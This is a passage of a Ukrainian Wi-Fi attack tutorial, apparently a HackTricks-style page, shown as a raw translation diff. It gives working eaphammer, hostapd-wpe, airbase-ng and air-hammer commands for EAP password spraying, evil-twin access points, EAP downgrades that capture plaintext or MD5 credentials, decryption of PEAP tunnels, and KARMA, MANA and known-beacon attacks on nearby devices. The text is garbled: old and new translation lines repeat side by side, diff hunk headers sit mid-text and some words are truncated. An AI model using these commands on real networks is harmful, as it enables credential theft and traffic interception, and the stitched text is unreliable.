- У цьому сценарії всі користувачі використовують псевдонім "анонімний" як свій ідентифікатор користувача. Початковий сервер RADIUS діє як сервер EAP-PEAP або EAP-TTLS, відповідальний за управлінням серверної частини протоколу PEAP або TTLS. Внутрішній (захищений) метод аутентифікації обробляється локально або делегується до віддаленого (домашнього) сервера RADIUS.
### EAP-Брутфорс (password spray)
* EAP-Identity = анонімний@realm_x
- У цій ситуації користувачі з різних областей приховують свої ідентичності, вказуючи свої відповідні області. Це дозволяє початковому серверу RADIUS проксі EAP-PEAP або EAP-TTLS запити до серверів RADIUS у їхніх домашніх областях, які діють як сервер PEAP або TTLS. Початковий сервер RADIUS працює виключно як вузол ретрансляції RADIUS.
- Альтернативно, початковий сервер RADIUS може діяти як сервер EAP-PEAP або EAP-TTLS та обробляти захищений метод аутентифікації або пересилати його на інший сервер. Цей варіант сприяє налаштуванню різних політик для різних областей.
У EAP-PEAP, після встановлення TLS-тунелю між сервером PEAP та клієнтом PEAP, сервер PEAP ініціює запит EAP-Identity та передає його через TLS-тунель. Клієнт відповідає на цей другий запит EAP-Identity, надсилаючи відповідь EAP-Identity, що містить справжню ідентичність користувача через зашифрований тунель. Цей підхід ефективно запобігає розкриттю справжньої ідентичності користувача будь-кому, хто прослуховує 802.11 трафік.
EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS клієнт зазвичай аутентифікується за допомогою PAP або CHAP, захищеного TLS-тунеллю. У цьому випадку клієнт включає атрибут User-Name та або атрибут Password, або CHAP-Password в початкове TLS-повідомлення, відправлене після встановлення тунелю.
Незалежно від обраного протоколу, сервер PEAP/TTLS отримує інформацію про справжню ідентичність користувача після встановлення TLS-тунелю. Справжня ідентичність може бути представлена як user@realm або просто user. Якщо сервер PEAP/TTLS також відповідальний за аутентифікацію користувача, він тепер володіє ідентичністю користувача та продовжує з методом аутентифікації, захищеним TLS-тунеллю. Альтернативно, сервер PEAP/TTLS може переслати новий запит RADIUS на домашній сервер RADIUS користувача. Цей новий запит RADIUS не містить шару протоколу PEAP або TTLS. У випадках, коли захищений метод аутентифікації - EAP, внутрішні повідомлення EAP передаються на домашній сервер RADIUS без обгортки EAP-PEAP або EAP-TTLS. Атрибут User-Name вихідного RADIUS-повідомлення містить справжню ідентичність користувача, замінюючи анонімний User-Name з вхідного запиту RADIUS. Коли захищений метод аутентифікації - PAP або CHAP (підтримується лише TTLS), атрибути User-Name та інші атрибути аутентифікації, витягнуті з навантаження TLS, замінюються вихідним RADIUS-повідомленням, заміщаючи анонімний User-Name та атрибути TTLS EAP-Message, знайдені в вхідному запиті RADIUS.
Для отримання додаткової інформації перевірте [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
### EAP-Bruteforce (парольний спрей)
Якщо від клієнта очікується використання **імені користувача та пароля** (зверніть увагу, що **EAP-TLS не буде дійсним** в цьому випадку), то ви можете спробувати отримати **список** **імен користувачів** (див. наступну частину) та **паролі** та спробувати **парольний спрей** доступу за допомогою [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
Якщо очікується, що клієнт використовуватиме **ім'я користувача та пароль** (зверніть увагу, що **EAP-TLS не буде дійсним** у цьому випадку), тоді ви можете спробувати отримати **список** **імен користувачів** (див. наступну частину) та **паролів** і спробувати **брутфорсити** доступ, використовуючи [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
Ви також можете виконати цей атаку, використовуючи `eaphammer`:
Ви також можете виконати цю атаку, використовуючи `eaphammer`:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -459,38 +448,38 @@ EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS кл
### Вибір мережі та роумінг
- Протокол 802.11 визначає, як станція приєднується до розширеного набору послуг (ESS), але не вказує критерії вибору ESS або точки доступу (AP) всередині нього.
- Станції можуть переміщатися між AP, які ділять однаковий ESSID, забезпечуючи зв'язок по всій будівлі або території.
- Протокол вимагає аутентифікації станції до ESS, але не вимагає аутентифікації AP до станції.
* Протокол 802.11 визначає, як станція приєднується до Розширеного Сервісного Набору (ESS), але не вказує критерії для вибору ESS або точки доступу (AP) в його межах.
* Станції можуть переміщатися між AP, які ділять один і той же ESSID, підтримуючи з'єднання в межах будівлі або території.
* Протокол вимагає аутентифікації станції до ESS, але не зобов'язує AP аутентифікувати станцію.
### Списки перевагованих мереж (PNL)
### Списки уподобаних мереж (PNL)
- Станції зберігають ESSID кожної бездротової мережі, до якої вони підключаються, у своєму списку перевагованих мереж (PNL), разом з деталями конфігурації, специфічними для мережі.
- PNL використовується для автоматичного підключення до відомих мереж, поліпшуючи досвід користувача шляхом оптимізації процесу підключення.
* Станції зберігають ESSID кожної бездротової мережі, до якої вони підключаються, у своєму Списку Уподобаних Мереж (PNL), разом із специфічними для мережі конфігураційними деталями.
* PNL використовується для автоматичного підключення до відомих мереж, покращуючи досвід користувача шляхом спрощення процесу підключення.
### Пасивне сканування
- AP періодично транслюють рамки маяка, оголошуючи свою присутність та функції, включаючи ESSID AP, якщо трансляція відключена.
- Під час пасивного сканування станції слухають рамки маяка. Якщо ESSID маяка відповідає запису в PNL станції, станція може автоматично підключитися до цього AP.
- Знання PNL пристрою дозволяє потенційно використовувати його шляхом імітації ESSID відомої мережі, обманюючи пристрій на підключення до підробленого AP.
* AP періодично транслюють маякові кадри, оголошуючи про свою присутність та особливості, включаючи ESSID AP, якщо трансляція не вимкнена.
* Під час пасивного сканування станції слухають маякові кадри. Якщо ESSID маяка збігається з записом у PNL станції, станція може автоматично підключитися до цього AP.
* Знання PNL пристрою дозволяє потенційно експлуатувати його, імітуючи ESSID відомої мережі, обманюючи пристрій, щоб підключитися до зловмисного AP.
### Активне зондування
### Активне опитування
- Активне зондування включає відправку станціями запитів-зондів для виявлення навколишніх AP та їх характеристик.
- Направлені запити-зонди спрямовані на конкретний ESSID, допомагаючи виявити, чи є певна мережа в зоні дії, навіть якщо це схована мережа.
- Радіопошукові запити-зонди мають поле нульового SSID і відправляються до всіх навколишніх AP, дозволяючи станції перевірити будь-яку переваговану мережу, не розголошуючи вмісту свого PNL.
* Активне опитування передбачає, що станції надсилають запити на опитування для виявлення найближчих AP та їх характеристик.
* Цілеспрямовані запити на опитування націлені на конкретний ESSID, допомагаючи виявити, чи є певна мережа в межах досяжності, навіть якщо це прихована мережа.
* Запити на опитування з трансляцією мають порожнє поле SSID і надсилаються всім найближчим AP, дозволяючи станції перевірити наявність будь-якої уподобаної мережі без розкриття вмісту свого PNL.
## Простий AP з перенаправленням на Інтернет
## Простий AP з перенаправленням в Інтернет
Перед поясненням, як виконувати більш складні атаки, буде пояснено **як** просто **створити** **AP** та **перенаправити** його **трафік** на інтерфейс, підключений **до** **Інтернету**.
Перед тим, як пояснити, як виконати більш складні атаки, буде пояснено **як** просто **створити** **AP** і **перенаправити** його **трафік** на інтерфейс, підключений **до** **Інтернету**.
Використовуючи `ifconfig -a`, перевірте, що інтерфейс wlan для створення AP та інтерфейс, підключений до Інтернету, присутні.
### DHCP та DNS
### DHCP & DNS
```bash
apt-get install dnsmasq #Manages DHCP and DNS
```
Створіть конфігураційний файл `/etc/dnsmasq.conf`:
Створіть файл конфігурації `/etc/dnsmasq.conf`:
```ini
interface=wlan0
dhcp-authoritative
@ -502,12 +491,12 @@ log-queries
log-dhcp
listen-address=127.0.0.1
```
Потім **встановіть IP-адреси** та **маршрути**:
Тоді **встановіть IP-адреси** та **маршрути**:
```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```
І потім **запустіть** dnsmasq:
А потім **запустіть** dnsmasq:
```bash
dnsmasq -C dnsmasq.conf -d
```
@ -515,7 +504,7 @@ dnsmasq -C dnsmasq.conf -d
```bash
apt-get install hostapd
```
Створіть конфігураційний файл `hostapd.conf`:
Створіть файл конфігурації `hostapd.conf`:
```ini
interface=wlan0
driver=nl80211
@ -533,65 +522,63 @@ wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
**Зупиніть надокучливі процеси**, встановіть **режим моніторингу** та **запустіть hostapd**:
**Зупиніть набридливі процеси**, встановіть **моніторний режим** та **запустіть hostapd**:
```bash
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
```
### Перенаправлення та перенаправлення
### Пересилання та Перенаправлення
```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Зловісний близнюк
## Evil Twin
Атака зловісного близнюка використовує спосіб, яким клієнти WiFi визначають мережі, переважно покладаючись на назву мережі (ESSID) без необхідності аутентифікації базової станції (точки доступу) перед клієнтом. Основні моменти включають:
Атака "злий близнюк" використовує спосіб, яким клієнти WiFi розпізнають мережі, в основному покладаючись на ім'я мережі (ESSID) без вимоги до базової станції (точки доступу) автентифікувати себе для клієнта. Ключові моменти включають:
- **Складність розрізнення**: Пристрої мають проблеми з відрізненням легітимних та підроблених точок доступу, коли вони мають однаковий ESSID та тип шифрування. У реальних мережах часто використовуються кілька точок доступу з однаковим ESSID для безшовного розширення зони покриття.
* **Складність у розрізненні**: Пристрої мають труднощі у відрізненні легітимних і зловмисних точок доступу, коли вони мають однаковий ESSID і тип шифрування. Реальні мережі часто використовують кілька точок доступу з однаковим ESSID для безперервного покриття.
* **Роумінг клієнтів і маніпуляція з'єднанням**: Протокол 802.11 дозволяє пристроям переміщатися між точками доступу в межах одного ESS. Зловмисники можуть скористатися цим, заманюючи пристрій відключитися від його поточної базової станції та підключитися до зловмисної. Це можна досягти, запропонувавши сильніший сигнал або порушивши з'єднання з легітимною точкою доступу за допомогою методів, таких як пакети деавтентифікації або джемінг.
* **Виклики в реалізації**: Успішне виконання атаки "злий близнюк" в умовах з кількома, добре розташованими точками доступу може бути складним. Деавтентифікація однієї легітимної точки доступу часто призводить до того, що пристрій підключається до іншої легітимної точки доступу, якщо зловмисник не може деавтентифікувати всі сусідні точки доступу або стратегічно розмістити зловмисну точку доступу.
- **Роумінг клієнта та маніпулювання підключенням**: Протокол 802.11 дозволяє пристроям переміщатися між точками доступу в межах одного ESSID. Атакувальники можуть використовувати це, приманюючи пристрій відключитися від поточної базової станції та підключитися до підробленої. Це можна досягти, пропонуючи сильніший сигнал або перешкоджаючи підключенню до легітимної точки доступу за допомогою методів, таких як пакети деаутентифікації або завади.
- **Виклики в реалізації**: Успішне виконання атаки зловісного близнюка в середовищах з кількома добре розміщеними точками доступу може бути складним завданням. Деаутентифікація однієї легітимної точки доступу часто призводить до підключення пристрою до іншої легітимної точки доступу, якщо атакуючий не може деаутентифікувати всі навколишні точки доступу або стратегічно розмістити підроблену точку доступу.
Можна створити дуже простий відкритий зловісний близнюк (без можливості маршрутизації трафіку в Інтернет) за допомогою:
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
Ви також можете створити Злий Близнюк за допомогою **eaphammer** (зверніть увагу, що для створення злих близнюків за допомогою eaphammer інтерфейс **НЕ ПОВИНЕН БУТИ** в режимі **монітора**):
Ви також можете створити Evil Twin, використовуючи **eaphammer** (зверніть увагу, що для створення evil twins за допомогою eaphammer інтерфейс **не повинен бути** в **монітор** режимі):
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
Або використовуючи Airgeddon: `Опції: 5,6,7,8,9 (в меню атаки Evil Twin).`
Або використовуючи Airgeddon: `Options: 5,6,7,8,9 (в меню атаки Evil Twin).`
![](<../../.gitbook/assets/image (148).png>)
![](<../../.gitbook/assets/image (1088).png>)
Будь ласка, зверніть увагу, що за замовчуванням, якщо ESSID у PNL збережено як захищений WPA, пристрій не підключиться автоматично до відкритого зловісного близнюка. Ви можете спробувати DoS реальну AP та сподіватися, що користувач підключиться вручну до вашого відкритого зловісного близнюка, або ви можете DoS реальну AP та використовувати WPA Evil Twin для захоплення рукостискання (використовуючи цей метод, ви не зможете дозволити жертві підключитися до вас, оскільки ви не знаєте PSK, але ви можете захопити рукостискання та спробувати його розшифрувати).
Зверніть увагу, що за замовчуванням, якщо ESSID у PNL збережено як захищений WPA, пристрій не підключиться автоматично до відкритого evil Twin. Ви можете спробувати DoS реальний AP і сподіватися, що користувач підключиться вручну до вашого відкритого evil twin, або ви можете DoS реальний AP і використовувати WPA Evil Twin для захоплення хендшейку (використовуючи цей метод, ви не зможете дозволити жертві підключитися до вас, оскільки не знаєте PSK, але ви можете захопити хендшейк і спробувати його зламати).
еякі ОС та Антивіруси попередять користувача, що підключення до відкритої мережі небезпечне..._
еякі ОС та AV попередять користувача, що підключення до відкритої мережі небезпечне..._
### WPA/WPA2 Evil Twin
Ви можете створити **Зловісного близня з використанням WPA/2**, і якщо пристрої налаштовані підключатися до цього SSID з WPA/2, вони спробують підключитися. Однак, **для завершення 4-хважального рукостискання**, вам також потрібно **знати** **пароль**, який клієнт буде використовувати. Якщо ви **не знаєте** його, **підключення не буде завершено**.
Ви можете створити **Evil Twin, використовуючи WPA/2**, і якщо пристрої налаштовані на підключення до цього SSID з WPA/2, вони спробують підключитися. У будь-якому випадку, **щоб завершити 4-way-handshake**, вам також потрібно **знати** **пароль**, який клієнт збирається використовувати. Якщо ви **не знаєте** його, **підключення не буде завершено**.
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### Корпоративний Evil Twin
### Enterprise Evil Twin
Для розуміння цих атак я рекомендую спочатку прочитати короткий [пояснення WPA Enterprise](./#wpa-enterprise-mgt).
Щоб зрозуміти ці атаки, я рекомендую спочатку прочитати короткий [WPA Enterprise explanation](./#wpa-enterprise-mgt).
**Використання hostapd-wpe**
`hostapd-wpe` потребує **файл конфігурації**, щоб працювати. Для **автоматизації** генерації цих конфігурацій ви можете використовувати [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (завантажте файл python всередині _/etc/hostapd-wpe/_)
`hostapd-wpe` потребує **конфігураційного** файлу для роботи. Щоб **автоматизувати** генерацію цих конфігурацій, ви можете використовувати [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (завантажте python файл всередині _/etc/hostapd-wpe/_).
```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
У файлі конфігурації можна вибрати багато різних речей, таких як ssid, канал, файли користувача, cret/key, параметри dh, версія wpa та auth...
У файлі конфігурації ви можете вибрати багато різних параметрів, таких як ssid, канал, файли користувачів, cret/key, dh параметри, версія wpa та auth...
[**Використання hostapd-wpe з EAP-TLS для дозволу будь-якому сертифікату увійти.**](evil-twin-eap-tls.md)
[**Використання hostapd-wpe з EAP-TLS для дозволу будь-якого сертифіката для входу.**](evil-twin-eap-tls.md)
**Використання EAPHammer**
```bash
@ -601,63 +588,60 @@ hostapd-wpe ./victim/victim.conf -s
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
За замовчуванням EAPHammer використовує такі методи аутентифікації (зверніть увагу на GTC як перший для спроби отримання паролів у відкритому вигляді, а потім використання більш надійних методів аутентифікації):
За замовчуванням, EAPHammer пропонує ці методи аутентифікації (зверніть увагу, що GTC є першим, який намагається отримати паролі у відкритому вигляді, а потім використовуються більш надійні методи аутентифікації):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
Це типова методологія для уникнення довгих часів підключення. Однак ви також можете вказати серверу методи аутентифікації від найслабших до найсильніших:
Це стандартна методологія для уникнення тривалих часів підключення. Однак ви також можете вказати серверу методи автентифікації від найслабшого до найсильнішого:
```
--negotiate weakest
```
Або ви також можете використовувати:
* `--negotiate gtc-downgrade` для використання високоефективної реалізації зниження GTC (паролі відкритого тексту)
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` для вручного вказання пропонованих методів (пропонування тих самих методів автентифікації в тому ж порядку, що й організація, ускладнить виявлення атаки).
* [Докладніша інформація в вікі](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
* `--negotiate gtc-downgrade` для використання високоефективної реалізації GTC downgrade (паролі в чистому вигляді)
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` для ручного зазначення запропонованих методів (пропонуючи ті ж методи автентифікації в тому ж порядку, що й організація, атака буде набагато важче виявити).
* [Знайдіть більше інформації у вікі](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Використання Airgeddon**
`Airgeddon` може використовувати раніше згенеровані сертифікати для пропозиції аутентифікації EAP в мережах WPA/WPA2-Enterprise. Фальшива мережа знизить протокол підключення до EAP-MD5, щоб **захопити користувача та MD5 пароля**. Пізніше зловмисник може спробувати розшифрувати пароль.\
`Airggedon` пропонує можливість **постійної атаки Evil Twin (шумної)** або **лише створення атаки Evil до підключення когось (плавно).**
`Airgeddon` може використовувати раніше згенеровані сертифікати для пропозиції EAP автентифікації для мереж WPA/WPA2-Enterprise. Фальшива мережа знизить протокол з'єднання до EAP-MD5, щоб вона могла **захопити користувача та MD5 пароля**. Пізніше зловмисник може спробувати зламати пароль.\
`Airgeddon` пропонує вам можливість **безперервної атаки Evil Twin (гучної)** або **лише створити Evil Attack, поки хтось не підключиться (плавно).**
![](<../../.gitbook/assets/image (129).png>)
![](<../../.gitbook/assets/image (936).png>)
### Налагодження тунелів PEAP та EAP-TTLS TLS в атаках Evil Twins
### Налагодження тунелів TLS PEAP та EAP-TTLS в атаках Evil Twins
ей метод був протестований в з'єднанні PEAP, але оскільки я розшифровую довільний TLS тунель, це також повинно працювати з EAP-TTLS_
ей метод був протестований у з'єднанні PEAP, але оскільки я розшифровую довільний TLS тунель, це також повинно працювати з EAP-TTLS_
У **конфігурації** _hostapd-wpe_ **закоментуйте** рядок, що містить _**dh\_file**_ (з `dh_file=/etc/hostapd-wpe/certs/dh` на `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Це зробить так, що `hostapd-wpe` **обмінюватиме ключі за допомогою RSA**, а не DH, тому ви зможете **розшифрувати** трафік пізніше, **знаючи приватний ключ сервера**.
Це змусить `hostapd-wpe` **обмінюватися ключами за допомогою RSA** замість DH, тому ви зможете **розшифрувати** трафік пізніше, **знаючи приватний ключ серверів**.
Тепер запустіть **Evil Twin** за допомогою **`hostapd-wpe`** з цією зміненою конфігурацією, як завжди. Також запустіть **`wireshark`** на **інтерфейсі**, який виконує атаку Evil Twin.
Тепер запустіть **Evil Twin**, використовуючи **`hostapd-wpe`** з цією модифікованою конфігурацією, як зазвичай. Також запустіть **`wireshark`** в **інтерфейсі**, який виконує атаку Evil Twin.
Тепер або пізніше (коли ви вже захопили деякі наміри аутентифікації), ви можете додати приватний ключ RSA до wireshark в: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Тепер або пізніше (коли ви вже захопили деякі спроби автентифікації) ви можете додати приватний RSA ключ до wireshark у: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Додайте новий запис і заповніть форму цими значеннями: **IP-адреса = будь-яка** -- **Порт = 0** -- **Протокол = дані** -- **Файл ключа** (**виберіть свій файл ключа**, щоб уникнути проблем, виберіть файл ключа **без захисту паролем**).
Додайте новий запис і заповніть форму цими значеннями: **IP адреса = будь-яка** -- **Порт = 0** -- **Протокол = data** -- **Файл ключа** (**виберіть ваш файл ключа**, щоб уникнути проблем, виберіть файл ключа **без захисту паролем**).
![](<../../.gitbook/assets/image (151).png>)
![](<../../.gitbook/assets/image (687).png>)
І перегляньте нову вкладку **"Decrypted TLS"**:
І подивіться на нову **вкладку "Decrypted TLS"**:
![](<../../.gitbook/assets/image (152).png>)
![](<../../.gitbook/assets/image (231).png>)
## KARMA, MANA, Loud MANA та атака на відомі маяки
### Чорні та білі списки ESSID та MAC
### Чорні/білі списки ESSID та MAC
Різні типи списків фільтрації контролю доступу до медіаадаптерів (MFACLs) та відповідні режими та вплив на поведінку підробленої точки доступу (AP):
Різні типи списків фільтрації доступу до медіа (MFACLs) та їх відповідні режими та ефекти на поведінку зловмисної точки доступу (AP):
1. **Білий список на основі MAC**:
- Підроблена AP буде відповідати лише на запити від пристроїв, вказаних у білому списку, залишаючись невидимою для всіх інших, які не вказані.
2. **Чорний список на основі MAC**:
- Підроблена AP ігноруватиме запити від пристроїв у чорному списку, ефективно роблячи підроблену AP невидимою для цих конкретних пристроїв.
3. **Білий список на основі SSID**:
- Підроблена AP буде відповідати на запити лише для конкретних ESSIDs, вказаних у списку, роблячи її невидимою для пристроїв, чиї списки переваг мереж не містять цих ESSIDs.
4. **Чорний список на основі SSID**:
- Підроблена AP не буде відповідати на запити для конкретних ESSIDs у чорному списку, роблячи її невидимою для пристроїв, які шукають ці певні мережі.
1. **Список білих MAC-адрес**:
* Зловмисна AP відповідатиме лише на запити проби від пристроїв, зазначених у білому списку, залишаючись невидимою для всіх інших, хто не вказаний.
2. **Список чорних MAC-адрес**:
* Зловмисна AP ігноруватиме запити проби від пристроїв у чорному списку, ефективно роблячи зловмисну AP невидимою для цих конкретних пристроїв.
3. **Список білих SSID**:
* Зловмисна AP відповідатиме на запити проби лише для конкретних ESSID, зазначених у списку, роблячи її невидимою для пристроїв, чиї списки переважних мереж (PNL) не містять цих ESSID.
4. **Список чорних SSID**:
* Зловмисна AP не відповідатиме на запити проби для конкретних ESSID у чорному списку, роблячи її невидимою для пристроїв, які шукають ці конкретні мережі.
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -679,33 +663,33 @@ name3
```
### KARMA
Цей метод дозволяє **зловмиснику створювати шкідливу точку доступу (AP), яка відповідає на всі запити на пробу від пристроїв, що намагаються підключитися до мереж**. Ця техніка **обманює пристрої, щоб підключитися до AP зловмисника**, підміняючи мережі, які пристрої шукають. Як тільки пристрій надсилає запит на підключення до цієї підробленої AP, воно завершує підключення, що призводить до помилкового підключення пристрою до мережі зловмисника.
Цей метод дозволяє **зловмиснику створити шкідливу точку доступу (AP), яка відповідає на всі запити на сканування** від пристроїв, що намагаються підключитися до мереж. Ця техніка **обманює пристрої, змушуючи їх підключатися до AP зловмисника**, імітуючи мережі, які пристрої шукають. Коли пристрій надсилає запит на підключення до цієї підробленої AP, воно завершує підключення, що призводить до помилкового підключення пристрою до мережі зловмисника.
### MANA
Після цього **пристрої почали ігнорувати непрохані відповіді мереж**, що зменшило ефективність початкового атаки karma. Однак був введений новий метод, відомий як **атака MANA**, розроблений Іаном де Вільє та Домініком Уайтом. Цей метод передбачає, що підроблена AP **захоплює Списки Перевагованих Мереж (PNL) з пристроїв, відповідаючи на їх мовчазні запити на пробу** з назвами мереж (SSID), які раніше запитувалися пристроями. Ця складна атака обходить захист від початкової атаки karma, використовуючи спосіб, яким пристрої запам'ятовують та пріоритизують відомі мережі.
Потім **пристрої почали ігнорувати непрохані мережеві відповіді**, зменшуючи ефективність початкової атаки karma. Однак новий метод, відомий як **атака MANA**, був представлений Іаном де Віллієрсом і Домініком Уайтом. Цей метод передбачає, що підроблена AP **захоплює Списки Бажаних Мереж (PNL) з пристроїв, відповідаючи на їхні широкомовні запити на сканування** з іменами мереж (SSID), які раніше запитувалися пристроями. Ця складна атака обминає захисти проти початкової атаки karma, експлуатуючи спосіб, яким пристрої запам'ятовують і пріоритизують відомі мережі.
Атака MANA працює, моніторячи як направлені, так і мовчазні запити на пробу від пристроїв. Для направлених запитів вона записує MAC-адресу пристрою та запитану назву мережі, додаючи цю інформацію до списку. Коли отримується мовчазний запит, AP відповідає інформацією, що відповідає будь-якій з мереж у списку пристрою, спонукаючи пристрій підключитися до підробленої AP.
Атака MANA працює, моніторячи як спрямовані, так і широкомовні запити на сканування з пристроїв. Для спрямованих запитів вона записує MAC-адресу пристрою та запитуване ім'я мережі, додаючи цю інформацію до списку. Коли отримується широкомовний запит, AP відповідає інформацією, що відповідає будь-якій з мереж у списку пристрою, спонукаючи пристрій підключитися до підробленої AP.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Гучна атака MANA
### Loud MANA
**Гучна атака MANA** - це вдосконалена стратегія для випадків, коли пристрої не використовують спрямоване сканування або коли їх списки перевірених мереж (PNL) невідомі зловмиснику. Вона ґрунтується на принципі, що **пристрої в одній області ймовірно мають спільні назви мереж у своїх PNL**. Замість селективної відповіді ця атака транслює відповіді на запити для кожної назви мережі (ESSID), знайденої в комбінованих PNL всіх спостережених пристроїв. Цей широкий підхід збільшує ймовірність того, що пристрій впізнає знайому мережу і намагається підключитися до підробленої точки доступу (AP).
А **Loud MANA атака** є просунутим методом, коли пристрої не використовують направлене опитування або коли їхні списки уподобаних мереж (PNL) невідомі атакуючому. Вона працює на принципі, що **пристрої в одній і тій же області, ймовірно, ділять деякі імена мереж у своїх PNL**. Замість того, щоб відповідати вибірково, ця атака транслює відповіді на запити для кожного імені мережі (ESSID), знайденого в об'єднаних PNL усіх спостережуваних пристроїв. Цей широкий підхід збільшує ймовірність того, що пристрій розпізнає знайому мережу і спробує підключитися до підробленої точки доступу (AP).
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Відома атака Beacon
### Known Beacon attack
Коли **атака Loud MANA** може бути недостатньою, **відома атака Beacon** пропонує інший підхід. Цей метод **перебирає процес підключення, симулюючи AP, який відповідає на будь-яке ім'я мережі, перебираючи список потенційних ESSID, отриманих зі словника**. Це симулює наявність численних мереж з метою знайти відповідну ESSID у списку пріоритетних мереж жертви, що спонукає до спроби підключення до підробленого AP. Атаку можна посилити, поєднуючи її з опцією `--loud` для більш агресивної спроби зловити пристрої.
Коли **Loud MANA attack** може бути недостатнім, **Known Beacon attack** пропонує інший підхід. Цей метод **брутфорсить процес підключення, імітуючи AP, який відповідає на будь-яку назву мережі, перебираючи список потенційних ESSID, отриманих з словника**. Це імітує наявність численних мереж, сподіваючись знайти ESSID у PNL жертви, що спонукає до спроби підключення до сфабрикованого AP. Атаку можна посилити, поєднавши її з опцією `--loud` для більш агресивної спроби захоплення пристроїв.
Eaphammer реалізував цю атаку як атаку MANA, де всі ESSID у списку заряджаються (ви також можете поєднати це з `--loud` для створення атаки Loud MANA + Відомі Beaconи):
Eaphammer реалізував цю атаку як MANA attack, де всі ESSID у списку заряджаються (ви також можете поєднати це з `--loud`, щоб створити Loud MANA + Known beacons attack):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Відома атака Beacon Burst**
**Відома атака Beacon Burst** включає **швидкісне масове розсилання рамок маяка для кожного ESSID, перерахованого в файлі**. Це створює щільне середовище фальшивих мереж, що значно збільшує ймовірність підключення пристроїв до підробленої точки доступу, особливо коли це поєднано з атакою MANA. Ця техніка використовує швидкість і обсяг для перевантаження механізмів вибору мережі пристроїв.
Атака **Відома атака Beacon Burst** передбачає **швидке транслювання кадрів маяків для кожного ESSID, зазначеного у файлі**. Це створює щільне середовище фальшивих мереж, значно підвищуючи ймовірність підключення пристроїв до зловмисної AP, особливо в поєднанні з атакою MANA. Ця техніка використовує швидкість і обсяг, щоб перевантажити механізми вибору мережі пристроїв.
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -716,20 +700,21 @@ Eaphammer реалізував цю атаку як атаку MANA, де всі
```
## Wi-Fi Direct
**Wi-Fi Direct** - це протокол, який дозволяє пристроям підключатися безпосередньо один до одного за допомогою Wi-Fi без необхідності у традиційній точці доступу. Ця можливість вбудована в різноманітні пристрої Інтернету речей (IoT), такі як принтери та телевізори, що сприяє прямому зв'язку між пристроями. Важливою особливістю Wi-Fi Direct є те, що один пристрій виконує роль точки доступу, відомої як власник групи, для управління з'єднанням.
**Wi-Fi Direct** - це протокол, який дозволяє пристроям з'єднуватися безпосередньо один з одним за допомогою Wi-Fi без необхідності в традиційній бездротовій точці доступу. Ця можливість інтегрована в різні пристрої Інтернету речей (IoT), такі як принтери та телевізори, що полегшує безпосередню комунікацію між пристроями. Помітною особливістю Wi-Fi Direct є те, що один пристрій виконує роль точки доступу, відомої як власник групи, для управління з'єднанням.
Безпека з'єднань Wi-Fi Direct встановлюється за допомогою **Wi-Fi Protected Setup (WPS)**, який підтримує кілька методів безпечного спарювання, включаючи:
- **Конфігурація за допомогою кнопки (PBC)**
- **Введення PIN-коду**
- **Ближньодійова комунікація (NFC)**
Безпека для з'єднань Wi-Fi Direct забезпечується через **Wi-Fi Protected Setup (WPS)**, який підтримує кілька методів для безпечного спарювання, включаючи:
Ці методи, зокрема введення PIN-коду, вразливі на ті ж уразливості, що й WPS у традиційних бездротових мережах, що робить їх об'єктом подібних векторів атак.
* **Push-Button Configuration (PBC)**
* **Введення PIN-коду**
* **Near-Field Communication (NFC)**
### Перехоплення EvilDirect
Ці методи, особливо введення PIN-коду, піддаються тим самим вразливостям, що й WPS у традиційних Wi-Fi мережах, що робить їх мішенями для подібних векторів атак.
